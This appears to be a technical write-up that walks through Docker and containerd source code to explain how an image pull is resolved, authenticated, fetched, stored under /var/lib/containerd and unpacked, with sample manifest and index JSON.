POST /v1.54/images/create?fromImage=docker.io%2Flibrary%2Fubuntu&tag=24.04
Host: api.moby.localhost
User-Agent: Docker-Client/29.5.2 (linux)
Content-Length: 0
X-Registry-Auth: e30=

The pull image request is handled by the "/images/create" endpoint of dockerd, whose handler is postImagesCreate().

// daemon/server/router/image/image.go
func (ir *imageRouter) initRoutes() {
    ir.routes = []router.Route{
        // [...]
        router.NewPostRoute("/images/create", ir.postImagesCreate),
    }
}

pullTag() is called internally, and it creates a resolver object [1] and pulls the target image [2].

// daemon/server/router/image/image_routes.go
func (ir *imageRouter) postImagesCreate(ctx context.Context, w http.ResponseWriter, r *http.Request, vars map[string]string) error {
    // [...]
    if img != "" {
        // ref = "docker.io/library/ubuntu:24.04" in here
        progressErr = ir.backend.PullImage(ctx, ref, pullOptions) // <--------
    }
    // [...]
}

// daemon/containerd/image_pull.go
func (i *ImageService) PullImage(ctx context.Context, baseRef reference.Named, options imagebackend.PullOptions) (retErr error) {
    // [...]
    if !reference.IsNameOnly(baseRef) { // "docker.io/library/ubuntu:24.04" has tag "24.04"
        return i.pullTag(ctx, baseRef, platform, options.MetaHeaders, options.AuthConfig, out) // <--------
    }
    // [...]
}

func (i *ImageService) pullTag(ctx context.Context, ref reference.Named, platform *ocispec.Platform, metaHeaders map[string][]string, authConfig *registrytypes.AuthConfig, out progress.Output) error {
    // [...]
    resolver, _ := i.newResolverFromAuthConfig(ctx, authConfig, ref, metaHeaders) // [1]
    opts = append(opts, containerd.WithResolver(resolver))
    // [...]
    img, err := i.client.Pull(ctx, ref.String(), opts...) // [2]
    // [...]
}

The resolver object is allocated and initialized by newResolverFromAuthConfig(), and eventually a dockerResolver object is returned [3].

// daemon/containerd/resolver.go
func (i *ImageService) newResolverFromAuthConfig(ctx context.Context, authConfig *registrytypes.AuthConfig, ref reference.Named, metaHeaders http.Header) (remotes.Resolver, docker.StatusTracker) {
    // [...]
    /**
     * i.registryHosts
     * == (daemon/containerd/service.go) config.RegistryHosts
     * == (daemon/daemon.go) d.RegistryHosts
     * == (daemon/hosts.go) func (daemon *Daemon) RegistryHosts(host string)
     */
    hosts := hostsWrapper(i.registryHosts, authConfig, ref)
    // [...]
    return docker.NewResolver(docker.ResolverOptions{ // <--------
        Hosts:   hosts, // hosts == a wraper function of RegistryHosts()
        Tracker: tracker,
        Headers: headers,
    })
}

// vendor/github.com/containerd/containerd/v2/core/remotes/docker/resolver.go
func NewResolver(options ResolverOptions) remotes.Resolver {
    // [...]
    return &dockerResolver{ // [3]
        hosts:         options.Hosts,
        header:        options.Headers,
        resolveHeader: resolveHeader,
        tracker:       options.Tracker,
    }
}

Pull() calls c.fetch() to download the target image [4] and then persists the image to containerd’s image metadata store [5].

// vendor/github.com/containerd/containerd/v2/client/pull.go
func (c *Client) Pull(ctx context.Context, ref string, opts ...RemoteOpt) (_ Image, retErr error) {
    // [...]
    img, err := c.fetch(ctx, pullCtx, ref, 1) // [4]
    // [...]
    img, err = c.createNewImage(ctx, img) // [5]
    // [...]
}

fetch() is the key function, and here we only focus on the rCtx.Resolver.Resolve() call. It takes the ref as a parameter, which is a string including the image name and the tag (in our case, "docker.io/library/ubuntu:24.04").

// vendor/github.com/containerd/containerd/v2/client/pull.go
func (c *Client) fetch(ctx context.Context, rCtx *RemoteContext, ref string, limit int) (images.Image, error) {
    // [...]
    name, desc, err := rCtx.Resolver.Resolve(ctx, ref)
    // [...]
}

desc is the Descriptor object, which describes a media resource. This structure is important because it not only helps you understand the standard for describing a container, but also contains the information about external resources, which may be attacker-controllable.

// vendor/github.com/opencontainers/image-spec/specs-go/v1/descriptor.go
type Descriptor struct {
    MediaType string `json:"mediaType"`
    Digest digest.Digest `json:"digest"`
    Size int64 `json:"size"`
    URLs []string `json:"urls,omitempty"`
    Annotations map[string]string `json:"annotations,omitempty"`
    Data []byte `json:"data,omitempty"`
    Platform *Platform `json:"platform,omitempty"`
    ArtifactType string `json:"artifactType,omitempty"`
}

How does Resolve() return a descriptor? It first gets the registry host based on the reference name [6], then decides which built-in paths to use [7]. It then iterates over the paths and hosts, constructing a HEAD request to the remote registry [8] and sending it [9] with a retry mechanism.

// vendor/github.com/containerd/containerd/v2/core/remotes/docker/resolver.go
func (r *dockerResolver) Resolve(ctx context.Context, ref string) (string, ocispec.Descriptor, error) {
    /**
     * resolveDockerBase() -> r.base(refspec) -> r.hosts(host) -> RegistryHosts(host)
     * base = { schema: "https", host: "registry-1.docker.io", ... }
     */
    base, err := r.resolveDockerBase(ref) // [6]
    // [...]
    else {
        paths = append(paths, []string{"manifests", refspec.Object}) // [7]
        caps |= HostCapabilityResolve
    }
    // [...]
    hosts := base.filterHosts(caps)
    // [...]
    for _, u := range paths { // [5]
        for i, host := range hosts {
            req := base.request(host, http.MethodHead, u...) // [8]
            // [...]
            resp, err := req.doWithRetries(ctx, true) // [9], HEAD "registry-1.docker.io/manifests"
            // [...]
        }
    }
    // [...]
}

doWithRetries() internally calls r.do(), which tries to send the request [10] and checks whether the request needs to be sent again [11].

// vendor/github.com/containerd/containerd/v2/core/remotes/docker/resolver.go
func (r *request) doWithRetries(ctx context.Context, lastHost bool, checks ...doChecks) (resp *http.Response, err error) {
    resp, err = r.doWithRetriesInner(ctx, nil, lastHost) // <--------
    // [...]
    return resp
}

func (r *request) doWithRetriesInner(ctx context.Context, responses []*http.Response, lastHost bool) (*http.Response, error) {
    resp, err := r.do(ctx) // [10]
    if err != nil {
        return nil, err
    }

    responses = append(responses, resp)
    retry, err := r.retryRequest(ctx, responses, lastHost) // [11]
    // [...]
    if retry {
        // [...]
        return r.doWithRetriesInner(ctx, responses, lastHost) // call itself again if retry == true
    }
}

If the status code of the HTTP response is 401 [12], the authorizer registers a new auth handler [13] based on the authenication information extracted from response header.

// vendor/github.com/containerd/containerd/v2/core/remotes/docker/resolver.go
func (r *request) retryRequest(ctx context.Context, responses []*http.Response, lastHost bool) (bool, error) {
    // [...]
    last := responses[len(responses)-1]
    switch last.StatusCode {
    case http.StatusUnauthorized: // [12]
        // [...]
        if r.host.Authorizer != nil {
            if err := r.host.Authorizer.AddResponses(ctx, responses); err == nil { // <--------
                true, nil // true -> retry
            }
            // [...]
        }
        // [...]
    }
}

// vendor/github.com/containerd/containerd/v2/core/remotes/docker/authorizer.go
func (a *dockerAuthorizer) AddResponses(ctx context.Context, responses []*http.Response) error {
    for _, c := range auth.ParseAuthHeader(last.Header) {
        if c.Scheme == auth.BearerAuth {
            /**
             * the response header is like:
             * www-authenticate: Bearer realm="https://auth.docker.io/token",service="registry.docker.io",scope="repository:library/ubuntu:pull"
             * so next time authorizer will first do authorization and then send the request
             */
            // [...]
            a.handlers[host] = newAuthHandler(a.client, a.header, c.Scheme, common) // [13]
            return nil
        }
        // [...]
    }
}

Since retry is equal to true, r.do(ctx) is called again. This time the auth handler is assigned, so it has to authorize against the realm host, auth.docker.io in this case, to get the auth token. Here, the Bearer authentication is used [14].

// vendor/github.com/containerd/containerd/v2/core/remotes/docker/resolver.go
func (r *request) do(ctx context.Context) (*http.Response, error) {
    // [...]
    if err := r.authorize(ctx, req); err != nil { // <--------
        // [...]
    }
    // [...]
    resp, err := client.Do(req) // actually send the request
    // [...]
}

func (r *request) authorize(ctx context.Context, req *http.Request) error {
    if r.host.Authorizer != nil {
        if err := r.host.Authorizer.Authorize(ctx, req); err != nil { // <--------
            // [...]
        }
    }
    return nil
}

// vendor/github.com/containerd/containerd/v2/core/remotes/docker/authorizer.go
func (a *dockerAuthorizer) Authorize(ctx context.Context, req *http.Request) error {
    // [...]
    ah := a.getAuthHandler(req.URL.Host)
    // [...]
    auth, refreshToken, err := ah.authorize(ctx) // <--------
    // [...]
}

func (ah *authHandler) authorize(ctx context.Context) (string, string, error) {
    switch ah.scheme {
    // [...]
    case auth.BearerAuth:
        return ah.doBearerAuth(ctx) // [14]
    // [...]
    }
}

req.doWithRetries() returns the HTTP response data to its caller, Resolve(), and the "Docker-Content-Digest" header is extracted [15] from the headers. In the end, the Resolve() wraps the response data into a descriptor [16] and returns.

// vendor/github.com/containerd/containerd/v2/core/remotes/docker/resolver.go
func (r *dockerResolver) Resolve(ctx context.Context, ref string) (string, ocispec.Descriptor, error) {
    // [...]
    for _, u := range paths {
        for i, host := range hosts {
            // [...]
            resp, err := req.doWithRetries(ctx, i == len(hosts)-1)
            if dgst == "" {
                dgstHeader := digest.Digest(resp.Header.Get("Docker-Content-Digest")) // [15]
                dgst = dgstHeader
            }
            // [...]
            desc := ocispec.Descriptor{ // [16], for ubuntu:24.04
                Digest:    dgst,        // "sha256:c4a8d5503dfb2a3eb8ab5f807da5bc69a85730fb49b5cfca2330194ebcc41c7b"
                MediaType: contentType, // "application/vnd.oci.image.index.v1+json"
                Size:      size,        // 6688
            }
            return ref, desc, nil
        }
    }
}

Now we know how dockerd handles the response if the registry server returns 401, and what the first request looks like when you are pulling a image.

The flow is as follows:

1.3. GET Image Index

Once we get the first descriptor, we can start to fetch the raw data from the registry server.

The fetching pipeline is built in two layers: handlers and decorators. A handler works as a hook function [1], and a handler may have several decorators. For example childrenHandler has at most five decorators [2], all chained together into the final handler.

When images.Dispatch() [3] is called, the handlers are invoked following the sequence of registration.

// vendor/github.com/containerd/containerd/v2/client/pull.go
func (c *Client) fetch(ctx context.Context, rCtx *RemoteContext, ref string, limit int) (images.Image, error) {
    // [...]
    name, desc, err := rCtx.Resolver.Resolve(ctx, ref)
    // returned desc = { Digest: sha256:c4a8...1c7b, MediaType: , Size: N }
    // [...]
    
    // ============ fetching pipeline ============
    store := c.ContentStore()
    // [...]
    fetcher, err := rCtx.Resolver.Fetcher(ctx, name)
    // [...]
    childrenHandler := images.ChildrenHandler(store)
    
    // [...]
    // [2]
    childrenHandler = images.SetReferrers(rCtx.ReferrersProvider, childrenHandler)
    childrenHandler = images.SetChildrenMappedLabels(store, childrenHandler, rCtx.ChildLabelMap)
    childrenHandler = remotes.FilterManifestByPlatformHandler(childrenHandler, rCtx.PlatformMatcher)
    childrenHandler = images.FilterPlatforms(childrenHandler, rCtx.PlatformMatcher)
    childrenHandler = images.LimitManifests(childrenHandler, rCtx.PlatformMatcher, limit)

    // [...]
    convertibleHandler := images.HandlerFunc(
        func(_ context.Context, desc ocispec.Descriptor) ([]ocispec.Descriptor, error) {
            if desc.MediaType == docker.LegacyConfigMediaType {
                isConvertible = true
            }

            return []ocispec.Descriptor{}, nil
        },
    )

    // [...]
    appendDistSrcLabelHandler, err := docker.AppendDistributionSourceLabel(store, ref)

    // [...]
    handlers := append( // [1]
        rCtx.BaseHandlers,
        remotes.FetchHandler(store, fetcher),
        convertibleHandler,
        childrenHandler,
        appendDistSrcLabelHandler,
    )
    handler = images.Handlers(handlers...)
    
    // [...]
    if err := images.Dispatch(ctx, handler, limiter, desc); err != nil { // [3]
        // [...]
    }
    // [...]
}

Dispatch() calls handler.Handle() to walk through the chained handlers and invoke them [4]. If the composed handler returns more descriptors, Dispatch() is called recursively [5].

// vendor/github.com/containerd/containerd/v2/core/images/handlers.go
func Dispatch(ctx context.Context, handler Handler, limiter *semaphore.Weighted, descs ...ocispec.Descriptor) error {
    for _, desc := range descs {
        eg.Go(func() error {
            desc := desc
            // [...]
            // .Handle() is defined in vendor/github.com/containerd/containerd/v2/core/images/handlers.go
            children, err := handler.Handle(ctx2, desc) // [4]
            // [...]
            if len(children) > 0 {
                return Dispatch(ctx2, handler, limiter, children...) // [5]
            }
        })
    }
}

The flow is like:

We first analyze FetchHandler(), the handler that fetches data from the remote. The call flow ends up at Fetch() in fetcher.go [6].

// vendor/github.com/containerd/containerd/v2/core/remotes/handlers.go
func FetchHandler(ingester content.Ingester, fetcher Fetcher) images.HandlerFunc {
    return func(ctx context.Context, desc ocispec.Descriptor) ([]ocispec.Descriptor, error) {
        // [...]
        err := Fetch(ctx, ingester, fetcher, desc) // <--------
        // [...]
    }
}

func Fetch(ctx context.Context, ingester content.Ingester, fetcher Fetcher, desc ocispec.Descriptor) error {
    // [...]
    rc, err := fetcher.Fetch(ctx, desc) // [6]
    // [...]
    return content.Copy(ctx, cw, rc, desc.Size, desc.Digest)
}

This function calls r.open() to fetch image data from three sources: external URLs [7], the "manifests" endpoint [8] if the type is index or manifest, and the "blob" endpoint [9] for the rest of the types.

// vendor/github.com/containerd/containerd/v2/core/remotes/docker/fetcher.go
func (r dockerFetcher) Fetch(ctx context.Context, desc ocispec.Descriptor) (io.ReadCloser, error) {
    // [...]
    return newHTTPReadSeeker(desc.Size, func(offset int64) (io.ReadCloser, error) {
        // [7] firstly try fetch via external urls
        for _, us := range desc.URLs {
            // [...]
            rc, _, err := r.open(ctx, req, desc.MediaType, offset, false)
        }

        // [8] Try manifests endpoints for manifests types
        if images.IsManifestType(desc.MediaType) || images.IsIndexType(desc.MediaType) {
            for i, host := range r.hosts {
                req := r.request(host, http.MethodGet, "manifests", desc.Digest.String())
                //[...]
                //[...]
                rc, _, err := r.open(ctx, req, desc.MediaType, offset, i == len(r.hosts)-1)
            }

            return nil, firstErr
        }

        //[9] Finally use blobs endpoints
        for i, host := range r.hosts {
            req := r.request(host, http.MethodGet, "blobs", desc.Digest.String())
            // [...]
            rc, _, err := r.open(ctx, req, desc.MediaType, offset, i == len(r.hosts)-1)
            // [...]
        }

        // [...]
    })
}

open() calls req.doWithRetries(), which is the function that authenticates and sends the request.

func (r dockerFetcher) open(ctx context.Context, req *request, mediatype string, offset int64, lastHost bool) (_ io.ReadCloser, _ int64, retErr error) {
    // [...]
    resp, err := req.doWithRetries(ctx, lastHost, withErrorCheck, withOffsetCheck(offset, parallelism))
    // [...]
}

If you’re curious about what the response data looks like, you can find out in the next section.

1.4. Download Manifest & Blob

The next handler is ChildrenHandler(), and its job is to parse the returned JSON data.

If the descriptor type is a manifest, it expects the JSON to be unmarshalled into ocispec.Manifest structure [1], and turns the Config and Layers fields to descriptors [2]; if the type is an index, the data is unmarshalled to ocispec.Index structure [3], and the Manifests field is extracted and returned as descriptors [4].

// vendor/github.com/containerd/containerd/v2/core/images/handlers.go
func ChildrenHandler(provider content.Provider) HandlerFunc {
    return func(ctx context.Context, desc ocispec.Descriptor) ([]ocispec.Descriptor, error) {
        return Children(ctx, provider, desc) // <--------
    }
}

// vendor/github.com/containerd/containerd/v2/core/images/image.go
func Children(ctx context.Context, provider content.Provider, desc ocispec.Descriptor) ([]ocispec.Descriptor, error) {
    if IsManifestType(desc.MediaType) {
        // [...]
        p, err := content.ReadBlob(ctx, provider, desc)
        var manifest ocispec.Manifest // [1]
        if err := json.Unmarshal(p, &manifest); err != nil {
            // [...]
        }
        // [...]
        return append([]ocispec.Descriptor{manifest.Config}, manifest.Layers...), nil // [2]

    } else if IsIndexType(desc.MediaType) {
        // [...]
        p, err := content.ReadBlob(ctx, provider, desc)
        var index ocispec.Index
        if err := json.Unmarshal(p, &index); err != nil { // [3]
            return nil, err
        }
        // [...]
        return append([]ocispec.Descriptor{}, index.Manifests...), nil // [4]
    }
}

These structures with ocispec prefix are defined in the opencontainers repository, and they are based on OCI (Open Container Initiative), a set of open standards that define how containers and container images should be formatted and run so that tools from different vendors can interoperate.

// vendor/github.com/opencontainers/image-spec/specs-go/v1/index.go
type Index struct {
    specs.Versioned
    MediaType string `json:"mediaType,omitempty"`
    ArtifactType string `json:"artifactType,omitempty"`
    Manifests []Descriptor `json:"manifests"`
    Subject *Descriptor `json:"subject,omitempty"`
    Annotations map[string]string `json:"annotations,omitempty"`
}

// vendor/github.com/opencontainers/image-spec/specs-go/v1/manifest.go
type Manifest struct {
    specs.Versioned
    MediaType string `json:"mediaType,omitempty"`
    ArtifactType string `json:"artifactType,omitempty"`
    Config Descriptor `json:"config"`
    Layers []Descriptor `json:"layers"`
    Subject *Descriptor `json:"subject,omitempty"`
    Annotations map[string]string `json:"annotations,omitempty"`
}

Other handlers or decorations are not so much complicated and important — for example, they filter out useless descriptors, only keep the image matching the host architecture — so we skip them here.

One thing is worth to mentioning: you may notice there are two entries for the amd64 image in the index JSON. Actually, only the first one is the real image data (cdb…eff). The second one is the attestation (01a…169) of the first entry, which is signed metadata that makes a verifiable claim about an artifact.

{
    "manifests": [
        {
            "annotations": {
                "com.docker.official-images.bashbrew.arch": "amd64",
                "org.opencontainers.image.base.name": "scratch",
                "org.opencontainers.image.created": "2026-04-10T00:00:00Z",
                "org.opencontainers.image.revision": "a17a2429ff85ab773e86c558a75ae62053ef9936",
                "org.opencontainers.image.source": "https://git.launchpad.net/cloud-images/+oci/ubuntu-base",
                "org.opencontainers.image.url": "https://hub.docker.com/_/ubuntu",
                "org.opencontainers.image.version": "24.04"
            },
            "digest": "sha256:cdb5fd928fced577cfecf12c8966e830fcdf42ee481fb0b91904eeddc2fe5eff",
            "mediaType": "application/vnd.oci.image.manifest.v1+json",
            "platform": {
                "architecture": "amd64",
                "os": "linux"
            },
            "size": 424
        },
        {
            "annotations": {
                "com.docker.official-images.bashbrew.arch": "amd64",
                "vnd.docker.reference.digest": "sha256:cdb5fd928fced577cfecf12c8966e830fcdf42ee481fb0b91904eeddc2fe5eff",
                "vnd.docker.reference.type": "attestation-manifest"
            },
            "digest": "sha256:01a14a568a5c77390e74eefc7a2106206f4605338cb7e86e8bf06a18452b5169",
            "mediaType": "application/vnd.oci.image.manifest.v1+json",
            "platform": {
                "architecture": "unknown",
                "os": "unknown"
            },
            "size": 562
        }
        ...
    ]
}

The attestation blob is a pretty large JSON file, and I have no idea about how it’s generated and how to use it 😆. I’ll just leave part of the content below.

{"_type":"https://in-toto.io/Statement/v0.1","predicateType":"https://spdx.dev/Document","subject":[],"predicate":{"spdxVersion":"SPDX-2.3","dataLicense":"CC0-1.0","SPDXID":"SPDXRef-DOCUMENT","name":"sbom","documentNamespace":"https://docker.com/docker-scout/fs/sbom-6b8f300a-23d8-42b3-9f97-0882a7efe944","creationInfo":{"creators":["Organization: Docker, Inc","Tool: docker-scout-1.18.1","Tool: buildkit-0.16.0-tianon"],"created":"2026-04-15T20:02:39Z"},"packages":[{"name":"sbom","SPDXID":"SPDXRef-DocumentRoot","supplier":"NOASSERTION","downloadLocation":"NOASSERTION","filesAnalyzed":false,"licenseConcluded":"NOASSERTION","licenseDeclared":"NOASSERTION","primaryPackagePurpose":"FILE"},{"name":"acl","SPDXID":"SPDXRef-Package-45b9051d819bf7a6bd6a86b0eba5bc45","versionInfo":"2.3.2-1build1.1","supplier":"Person: Ubuntu Developers \\u003cubuntu-devel-discuss@lists.ubuntu.com\\u003e","originator":"Person: Ubuntu Developers \\u003cubuntu-devel-discuss@lists.ubuntu.com\\u003e","downloadLocation":"NOASSERTION","filesAnalyzed":true,"licenseConcluded":"NOASSERTION","licenseDeclared":"GPL-2.0-only OR GPL-2.0-or-later OR LGPL-2.0-or-later OR LGPL-2.1-only","description":"access control list - shared library\n This package contains the shared library containing the POSIX 1003.1e\n draft standard 17 functions for manipulating access control lists.","externalRefs":[{"referenceCategory":"PACKAGE-MANAGER","referenceType":"purl","referenceLocator":"pkg:deb/ubuntu/acl@2.3.2-1build1.1?os_distro=noble\u0026os_name=ubuntu\u0026os_version=24.04"}]} ...] ...} ...}

1.5. Save The File

Now we know the download flow, but when is the data saved into the filesystem?

After fetching the data, content.Copy() is called [1] with the writer cw, the data size desc.Size, and the hash desc.Digest.

// vendor/github.com/containerd/containerd/v2/core/remotes/handlers.go
func Fetch(ctx context.Context, ingester content.Ingester, fetcher Fetcher, desc ocispec.Descriptor) error {
    // [...]
    cw, err := content.OpenWriter(ctx, ingester, content.WithRef(MakeRefKey(ctx, desc)), content.WithDescriptor(desc))
    // [...]
    rc, err := fetcher.Fetch(ctx, desc)
    // [...]
    return content.Copy(ctx, cw, rc, desc.Size, desc.Digest) // [1]
}

The writer object is allocated by OpenWriter(), which eventually returns a remoteWriter object [2] with a client backed by a TTRPC stream to containerd.

// vendor/github.com/containerd/containerd/v2/core/content/helpers.go
func OpenWriter(ctx context.Context, cs Ingester, opts ...WriterOpt) (Writer, error) {
    var (
        cw    Writer
        err   error
        retry = 16
    )
    for {
        cw, err = cs.Writer(ctx, opts...) // <--------
        // [...]
    }
    // [...]
}

// vendor/github.com/containerd/containerd/v2/core/content/proxy/content_store.go
func (pcs *proxyContentStore) Writer(ctx context.Context, opts ...content.WriterOpt) (content.Writer, error) {
    // [...]
    wrclient, offset, err := pcs.negotiate(ctx, wOpts.Ref, wOpts.Desc.Size, wOpts.Desc.Digest)
    // [...]
    return &remoteWriter{ // [2]
        ref:    wOpts.Ref,
        client: wrclient,
        offset: offset,
    }, nil
}

Copy() writes file by calling copyWithBuffer() and saves file by calling cw.Commit(). Both functions send the request with data content to containerd. Take copyWithBuffer() as an example: it sends action WriteAction_WRITE with data attached [3] in the end.

// vendor/github.com/containerd/containerd/v2/core/content/helpers.go
func Copy(ctx context.Context, cw Writer, or io.Reader, size int64, expected digest.Digest, opts ...Opt) error {
    // [...]
    copied, err := copyWithBuffer(cw, r) // <--------
    // [...]
    if err := cw.Commit(ctx, size, expected, opts...); err != nil {
        // [...]
    }
}

func copyWithBuffer(dst io.Writer, src io.Reader) (written int64, err error) {
    // [...]
    for {
        nr, er := io.ReadAtLeast(src, buf, len(buf)) // read from src
        if nr > 0 {
            nw, ew := dst.Write(buf[0:nr])  // <-------- write to dst
            // [...]
        }
    }
}

// vendor/github.com/containerd/containerd/v2/core/content/proxy/content_writer.go
func (rw *remoteWriter) Write(p []byte) (n int, err error) {
    const maxBufferSize = defaults.DefaultMaxSendMsgSize >> 1
    for data := range slices.Chunk(p, maxBufferSize) {
        offset := rw.offset

        resp, err := rw.send(&contentapi.WriteContentRequest{
            Action: contentapi.WriteAction_WRITE, // [3]
            Offset: offset,
            Data:   data,
        })
        // [...]
    }
    return n, nil
}

On the containerd side, the content server’s Write() handles both WRITE and COMMIT actions. If the request is a COMMIT action, wr.Commit() is called [4] to save data into the filesystem.

// vendor/github.com/containerd/containerd/v2/plugins/services/content/contentserver/contentserver.go
func (s *service) Register(server *grpc.Server) error {
    api.RegisterContentServer(server, s) // <--------
    return nil
}

// vendor/github.com/containerd/containerd/api/services/content/v1/content_grpc.pb.go
func RegisterContentServer(s grpc.ServiceRegistrar, srv ContentServer) {
    s.RegisterService(&Content_ServiceDesc, srv) // <--------
}

var Content_ServiceDesc = grpc.ServiceDesc{
    // [...]
    Streams: []grpc.StreamDesc{
        // [...]
        {
            StreamName:    "Write",
            Handler:       _Content_Write_Handler, // <--------
            ServerStreams: true,
            ClientStreams: true,
        },
    },
    // [...]
}

func _Content_Write_Handler(srv interface{}, stream grpc.ServerStream) error {
    return srv.(ContentServer).Write(&contentWriteServer{stream}) // <--------
}

// vendor/github.com/containerd/containerd/v2/plugins/services/content/contentserver/contentserver.go
func (s *service) Write(session api.Content_WriteServer) (err error) {
    // [...]
    wr, err := s.store.Writer(ctx,
        content.WithRef(ref),
        content.WithDescriptor(ocispec.Descriptor{Size: total, Digest: expected}))
    // [...]
    for {
        msg.Action = req.Action
        switch req.Action {
        // [...]
        case api.WriteAction_WRITE, api.WriteAction_COMMIT:
            // [...]
            if req.Action == api.WriteAction_COMMIT {
                // [...]
                if err := wr.Commit(ctx, total, expected, opts...); err != nil { // [4]
                    // [...]
                }
            }
        // [...]
        }
    }
}

The data being written is kept in a temporary file in the "ingest/" directory, and when receiving a COMMIT action, Commit() renames it to the destination path [5], which is inside the "blobs/" directory.

// vendor/github.com/containerd/containerd/v2/plugins/content/local/writer.go
func (w *writer) Commit(ctx context.Context, size int64, expected digest.Digest, opts ...content.Opt) error {
    // [...]
    dgst := w.digester.Digest()
    // [...]
    var (
        ingest    = filepath.Join(w.path, "data") // ingest//data
        target, _ = w.s.blobPath(dgst)            // blobs/sha256/
    )
    // [...]
    if err := os.Rename(ingest, target); err != nil { // [5]
        // [...]
    }
    // [...]
}

The writer object (w) decides the root directory in which to save the file, and it is initialized in writer() [6].

// vendor/github.com/containerd/containerd/v2/plugins/content/local/store.go
func (s *store) Writer(ctx context.Context, opts ...content.WriterOpt) (content.Writer, error) {
    // [...]
    w, err := s.writer(ctx, wOpts.Ref, wOpts.Desc.Size, wOpts.Desc.Digest) // <--------
    // [...]
    return w, nil
}

func (s *store) writer(ctx context.Context, ref string, total int64, expected digest.Digest) (content.Writer, error) {
    // [...]
    path, refp, data := s.ingestPaths(ref)
    // [...]
    return &writer{ // [6]
        // [...]
        ref:       ref,
        path:      path,
        // [...]
    }, nil
}

To get the full path, we have to look at the containerd source code.

containerd decouples functionalities into different plugin objects. A plugin’s init() function defines its ID and initialization callback. Here, the ID of the content plugin is "content" [7], and its callback function internally sets the root directory property as its store root [8].

// plugins/content/local/plugin/plugin.go
func init() {
    registry.Register(&plugin.Registration{
        Type: plugins.ContentPlugin,
        ID:   "content", // [7]
        InitFn: func(ic *plugin.InitContext) (any, error) {
            root := ic.Properties[plugins.PropertyRootDir]
            ic.Meta.Exports["root"] = root
            return local.NewStore(root) // <--------
        },
    })
}

// vendor/github.com/containerd/containerd/v2/plugins/content/local/store.go
func NewStore(root string) (content.Store, error) {
    return NewLabeledStore(root, nil) // <--------
}

func NewLabeledStore(root string, ls LabelStore) (content.Store, error) {
    // [...]
    s := &store{
        root:               root, // [8]
        // [...]
    }
    // [...]
}

So where is plugins.PropertyRootDir defined? When starting the containerd daemon, New() iterates through the loaded plugins [9]. It further creates a context for each plugin object and sets plugins.PropertyRootDir [10]. By default, config.Root is set to /var/lib/containerd, and id is from the URL() function.

// cmd/containerd/server/server.go
func New(ctx context.Context, config *srvconfig.Config) (*Server, error) {
    // [...]
    loaded, err := LoadPlugins(ctx, config)
    // [...]
    for _, p := range loaded { // [9]
        id := p.URI()
        // [...]
        initContext := plugin.NewContext(
            ctx,
            initialized,
            map[string]string{
                plugins.PropertyRootDir:      filepath.Join(config.Root, id), // [10]
                // [...]
            },
        )
        // [...]
    }
}

// defaults/defaults_unix.go
const (
    // [...]
    DefaultRootDir = "/var/lib/containerd"
    // [...]
)

URL() concatenates the plugin’s type string, which is "io.containerd.content.v1" here, and its ID, which is "content" here. So finally, we know those image files are stored inside the directory /var/lib/containerd/io.containerd.content.v1.content.

// vendor/github.com/containerd/plugin/plugin.go
func (r *Registration) URI() string {
    // r.Type.String() == "io.containerd.content.v1"
    // r.ID
    return r.Type.String() + "." + r.ID
}

// plugins/types.go
const (
    // [...]
    ContentPlugin plugin.Type = "io.containerd.content.v1"
    // [...]
)

List the directory and you’ll find the image blobs.

root@aaa:~# ls -al /var/lib/containerd/io.containerd.content.v1.content/
total 16
drwxr-xr-x  4 root root 4096 May 27 11:47 .
drwx------ 13 root root 4096 Apr  9 14:51 ..
drwxr-xr-x  3 root root 4096 Apr  9 14:51 blobs
drwxr-xr-x  2 root root 4096 May 28 10:49 ingest

2. Unpack an Image

2.1. dockerd side

The unpacker is used as a wrapper of chained image handlers [1], so it is triggered before handles run. When triggered, the unpacker.Unpack() is called [2].

// vendor/github.com/containerd/containerd/v2/client/pull.go
func (c *Client) Pull(ctx context.Context, ref string, opts ...RemoteOpt) (_ Image, retErr error) {
    if pullCtx.Unpack {
        // [...]
        unpacker, err = unpack.NewUnpacker(ctx, c.ContentStore(), uopts...)
        // [...]
        pullCtx.HandlerWrapper = func(h images.Handler) images.Handler {
            // [...]
            return unpacker.Unpack(h) // [2]
        }
    }
    // [...]
    img, err := c.fetch(ctx, pullCtx, ref, 1)
    // [...]
}

func (c *Client) fetch(ctx context.Context, rCtx *RemoteContext, ref string, limit int) (images.Image, error) {
    // [...]
    handler = images.Handlers(handlers...)
    // [...]
    
    if rCtx.HandlerWrapper != nil {
        handler = rCtx.HandlerWrapper(handler) // [1]
    }

    if err := images.Dispatch(ctx, handler, limiter, desc); err != nil {
        // [...]
    }
    // [...]
}

After the handlers finish, Unpack() gets the sub-descriptors [3]. If the descriptor is a manifest [4], it splits sub-descriptors to two types: layer and non-layer. Later, the layer list is assigned to the non-layer sub-descriptor [5].

For a config descriptor, the layers are retrieved and unpacked [6].

One thing that should be mentioned is that the returned children of a manifest descriptor only contain non-layer sub-descriptors [7], so these layers are not downloaded until u.unpack() is called.

// vendor/github.com/containerd/containerd/v2/core/unpack/unpacker.go
func (u *Unpacker) Unpack(h images.Handler) images.Handler {
    // [...]
    return images.HandlerFunc(func(ctx context.Context, desc ocispec.Descriptor) ([]ocispec.Descriptor, error) {
        // [...]
        children, err := h.Handle(ctx, desc) // [3]
        // [...]
        if images.IsManifestType(desc.MediaType) { // [4]
            for i, child := range children {
                // [...]
                if images.IsLayerType(child.MediaType) || layerTypes[child.MediaType] {
                    manifestLayers = append(manifestLayers, child)
                } else {
                    nonLayers = append(nonLayers, child)
                }
            }

            for _, nl := range nonLayers {
                layers[nl.Digest] = manifestLayers // [5]
            }
            children = nonLayers // [7]

        } else if images.IsConfigType(desc.MediaType) || configTypes[desc.MediaType] {
            // "application/vnd.docker.container.image.v1+json" or "application/vnd.oci.image.config.v1+json"
            // [...]
            l := layers[desc.Digest]
            // [...]
            if len(l) > 0 {
                u.eg.Go(func() error {
                    return u.unpack(h, desc, l) // [6]
                })
            }
        }
    })
}

We take one of the manifest data from pulling a Ubuntu:24.04 image as an example. When getting the JSON response below, unpack() gets two sub-descriptors: a config and a layer, so children will be like [config, layer1, ... (if any)]. It first assigns layers[0b1...b27] = [b40...081 (layer sub-descriptor)] [5], and the next round the config descriptor is processed and layers[0b1...b27] is unpacked [6].

{
    "schemaVersion": 2,
    "mediaType": "application/vnd.oci.image.manifest.v1+json",
    "config": {
        "mediaType": "application/vnd.oci.image.config.v1+json",
        "size": 2051,
        "digest": "sha256:0b1ebe5dd42682bb8eda97ecf10a09f70f18d2d4af35f82b9271badac5dbeb27"
    },
    "layers": [
        {
